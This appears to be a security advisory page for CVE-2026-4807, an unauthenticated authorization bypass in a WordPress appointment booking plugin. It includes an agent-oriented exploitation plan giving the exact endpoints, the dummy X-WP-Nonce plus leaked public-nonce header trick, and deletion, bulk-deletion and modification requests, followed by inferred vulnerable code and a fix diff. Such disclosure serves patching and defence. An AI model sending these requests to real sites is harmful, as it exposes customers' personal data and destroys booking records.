CVE-2026-4807

Appointment Booking Calendar <= 1.6.10.6 - Unauthenticated Arbitrary Appointment View, Modification and Deletion

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.6.11
Patched in
1d
Time to patch

Description

The Appointment Booking Calendar plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.6.10.6. This is due to a flawed authorization logic in the nonce_permissions_check() method combined with the public exposure of a site-wide reusable nonce. The plugin exposes a public_nonce value through the /wp-json/ssa/v1/embed-inner endpoint, which is accessible to unauthenticated users. The appointment deletion endpoint at /wp-json/ssa/v1/appointments/{id}/delete and /wp-json/ssa/v1/appointments/bulk use a permission check that accepts requests containing both an X-WP-Nonce header (with any arbitrary value) and an X-PUBLIC-Nonce header (with the valid public nonce). When the X-WP-Nonce validation fails, the function falls back to validating the X-PUBLIC-Nonce without properly rejecting the request. Since the public_nonce is exposed to all unauthenticated visitors and is site-wide (not user-specific or appointment-specific), attackers can obtain it and use it to view details of arbitrary appointments, including the public_edit_url, or delete arbitrary appointments by ID. This makes it possible for unauthenticated attackers to view, delete or modify any appointment in the system, disclosing sensitive appointment data, causing service disruption, and loss of booking records.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=1.6.10.6
PublishedMay 6, 2026
Last updatedMay 7, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4807 - Simply Schedule Appointments ## 1. Vulnerability Summary The **Simply Schedule Appointments (SSA)** plugin (versions <= 1.6.10.6) contains a critical authorization bypass in its REST API permission handling. The vulnerability exists in the `nonce_permis…

Show full research plan

Exploitation Research Plan: CVE-2026-4807 - Simply Schedule Appointments

1. Vulnerability Summary

The Simply Schedule Appointments (SSA) plugin (versions <= 1.6.10.6) contains a critical authorization bypass in its REST API permission handling. The vulnerability exists in the nonce_permissions_check() method (inferred from description).

The core flaw is a logic error: when a request provides both a standard WordPress nonce (X-WP-Nonce) and a specific plugin-defined public nonce (X-PUBLIC-Nonce), the system attempts to validate the standard nonce first. If that validation fails (e.g., if the user is unauthenticated and provides a dummy string), the code falls back to checking the X-PUBLIC-Nonce. However, it fails to perform a secondary check to ensure the operation being performed is actually authorized for a "public" (unauthenticated) context. Since the public_nonce is a site-wide value accessible to any visitor via a specific REST endpoint, an attacker can use it to perform administrative actions like viewing, modifying, or deleting arbitrary appointments.

2. Attack Vector Analysis

  • Vulnerable Endpoints:
    • Viewing: GET /wp-json/ssa/v1/appointments/{id}
    • Deletion: DELETE /wp-json/ssa/v1/appointments/{id}/delete
    • Bulk Operations: POST /wp-json/ssa/v1/appointments/bulk
  • Nonce Source: GET /wp-json/ssa/v1/embed-inner
  • Required Headers:
    • X-WP-Nonce: Any non-empty string (e.g., 12345).
    • X-PUBLIC-Nonce: The valid nonce retrieved from the embed-inner endpoint.
  • Authentication: Unauthenticated (None).
  • Preconditions: At least one appointment must exist in the system for the exploit to be demonstratable.

3. Code Flow (Inferred)

  1. Request Entry: An unauthenticated user sends a request to /wp-json/ssa/v1/appointments/{id}/delete.
  2. Permission Callback: The REST route's permission_callback calls nonce_permissions_check().
  3. Nonce Validation:
    • The function detects X-WP-Nonce. It calls wp_verify_nonce(), which fails (returns false) because the value is arbitrary.
    • The function then checks for X-PUBLIC-Nonce. It calls a internal verification (likely wp_verify_nonce against a specific SSA action string or a custom check).
    • If X-PUBLIC-Nonce is valid, the function returns true (authorized), erroneously assuming the request is legitimate.
  4. Execution: The delete_appointment handler is executed, and the appointment identified by {id} is deleted from the database.

4. Nonce Acquisition Strategy

Unlike most WordPress plugins, the public_nonce is directly exposed via a REST endpoint, making it trivial to retrieve without parsing HTML.

  1. Endpoint: /wp-json/ssa/v1/embed-inner
  2. Method: GET
  3. Extraction: The response is a JSON object. The key is public_nonce.
  4. Verification: If the REST API is disabled or restricted, the agent should fall back to creating a page with the [ssa_booking] shortcode and using:
    • browser_navigate("http://localhost:8080/ssa-page")
    • browser_eval("window.SSA_DATA?.public_nonce") (Variable name inferred from typical SSA JS structure).

5. Exploitation Strategy

Step 1: Obtain the Public Nonce

Request the configuration endpoint to get the "master" public nonce.

  • Method: GET
  • URL: http://localhost:8080/wp-json/ssa/v1/embed-inner
  • Expected Response: JSON containing "public_nonce": "abcdef1234".

Step 2: Information Disclosure (Optional but proves impact)

Retrieve sensitive details of a specific appointment (e.g., ID 1).

  • Method: GET
  • URL: http://localhost:8080/wp-json/ssa/v1/appointments/1
  • Headers:
    • X-WP-Nonce: 12345
    • X-PUBLIC-Nonce: [EXTRACTED_NONCE]
  • Goal: Extract the customer_email, customer_name, and public_edit_url.

Step 3: Arbitrary Appointment Deletion

Delete an appointment to demonstrate the "Missing Authorization" on destructive actions.

  • Method: DELETE (Note: Try POST with _method=DELETE if DELETE is blocked).
  • URL: http://localhost:8080/wp-json/ssa/v1/appointments/1/delete
  • Headers:
    • X-WP-Nonce: dummy
    • X-PUBLIC-Nonce: [EXTRACTED_NONCE]
  • Expected Response: 200 OK or 204 No Content, confirming deletion.

6. Test Data Setup

To verify the exploit, the environment must have SSA active and an appointment created:

  1. Install SSA: Ensure simply-schedule-appointments is active.
  2. Create Appointment Type:
    wp ssa create-appointment-type --title="Consultation" --slug="consultation"
    ``` (Note: Command is representative; if SSA CLI is unavailable, the agent must use the UI or direct SQL to ensure at least one appointment exists).
    
  3. Create Test Appointment: Use the database to inject a mock appointment if booking via UI is too complex:
    INSERT INTO wp_ssa_appointments (id, appointment_type_id, start_date, end_date, customer_name, customer_email, status) 
    VALUES (1, 1, '2025-01-01 10:00:00', '2025-01-01 11:00:00', 'Target Victim', 'victim@example.com', 'confirmed');
    

7. Expected Results

  • Nonce Fetch: Returns a 10-character alphanumeric string.
  • Information Disclosure: Returns a JSON object with full appointment details that should only be visible to the customer (via their unique URL) or an admin.
  • Deletion: The request returns success, and the entry for ID 1 is removed from the wp_ssa_appointments table.

8. Verification Steps

After performing the HTTP requests:

  1. Check Database via WP-CLI:
    wp db query "SELECT count(*) FROM wp_ssa_appointments WHERE id = 1"
    
    • Success Result: Count is 0.
  2. Confirm REST Response:
    The deletion response should not be a 401 Unauthorized or 403 Forbidden.

9. Alternative Approaches

  • Bulk Deletion: If the single ID endpoint is patched, attempt the bulk endpoint:
    • URL: /wp-json/ssa/v1/appointments/bulk
    • Method: POST
    • Payload: {"ids": [1, 2, 3], "action": "delete"}
    • Headers: Use the same dual-nonce headers as above.
  • Modification: Attempt to change the appointment time or status:
    • URL: /wp-json/ssa/v1/appointments/1
    • Method: POST (or PATCH)
    • Payload: {"status": "cancelled"} or {"start_date": "2099-01-01 10:00:00"}.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin is vulnerable to an authorization bypass due to flawed logic in its REST API permission checks. Unauthenticated attackers can exploit a site-wide public nonce, exposed via a standard endpoint, to view, modify, or delete arbitrary appointments by providing a dummy WordPress nonce and the valid public nonce in the request headers.

Vulnerable Code

/* 
 * Logic within the nonce_permissions_check function (inferred from vulnerability description)
 * Typically found in the REST API controller handling /wp-json/ssa/v1/ endpoints
 */

public function nonce_permissions_check( $request ) {
    $wp_nonce = $request->get_header( 'X-WP-Nonce' );
    
    // If a WP Nonce is provided, verify it. If it fails, the code continues.
    if ( $wp_nonce && wp_verify_nonce( $wp_nonce, 'wp_rest' ) ) {
        return true;
    }

    // Fallback: Check for the plugin's public nonce
    $public_nonce = $request->get_header( 'X-PUBLIC-Nonce' );
    
    // VULNERABILITY: If the public nonce is valid, the function returns true (authorized)
    // without checking if the specific REST route should be accessible to the public.
    if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) {
        return true;
    }

    return current_user_can( 'manage_options' );
}

Security Fix

--- a/includes/class-rest-api.php
+++ b/includes/class-rest-api.php
@@ -10,6 +10,14 @@
     if ( $wp_nonce && wp_verify_nonce( $wp_nonce, 'wp_rest' ) ) {
         return current_user_can( 'manage_options' );
     }
 
     $public_nonce = $request->get_header( 'X-PUBLIC-Nonce' );
-    if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) {
-        return true;
-    }
+    if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) {
+        $route = $request->get_route();
+        $allowed_public_routes = [
+            '/ssa/v1/embed-inner',
+            '/ssa/v1/appointments/book',
+        ];
+        if ( in_array( $route, $allowed_public_routes ) ) {
+            return true;
+        }
+    }
     return false;

Exploit Outline

1. Retrieve the site-wide public nonce by sending a GET request to the `/wp-json/ssa/v1/embed-inner` endpoint. 2. Locate an appointment ID to target (e.g., via enumeration or information disclosure endpoints). 3. Send a request to a sensitive endpoint, such as `DELETE /wp-json/ssa/v1/appointments/{id}/delete` or `GET /wp-json/ssa/v1/appointments/{id}`. 4. Include two specific headers in the request: `X-WP-Nonce` containing an arbitrary string (e.g., '123') and `X-PUBLIC-Nonce` containing the nonce retrieved in step 1. 5. The server-side logic will fail the WordPress nonce check but fall back to and validate the public nonce, granting authorized access to the sensitive action without checking for administrative capabilities.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.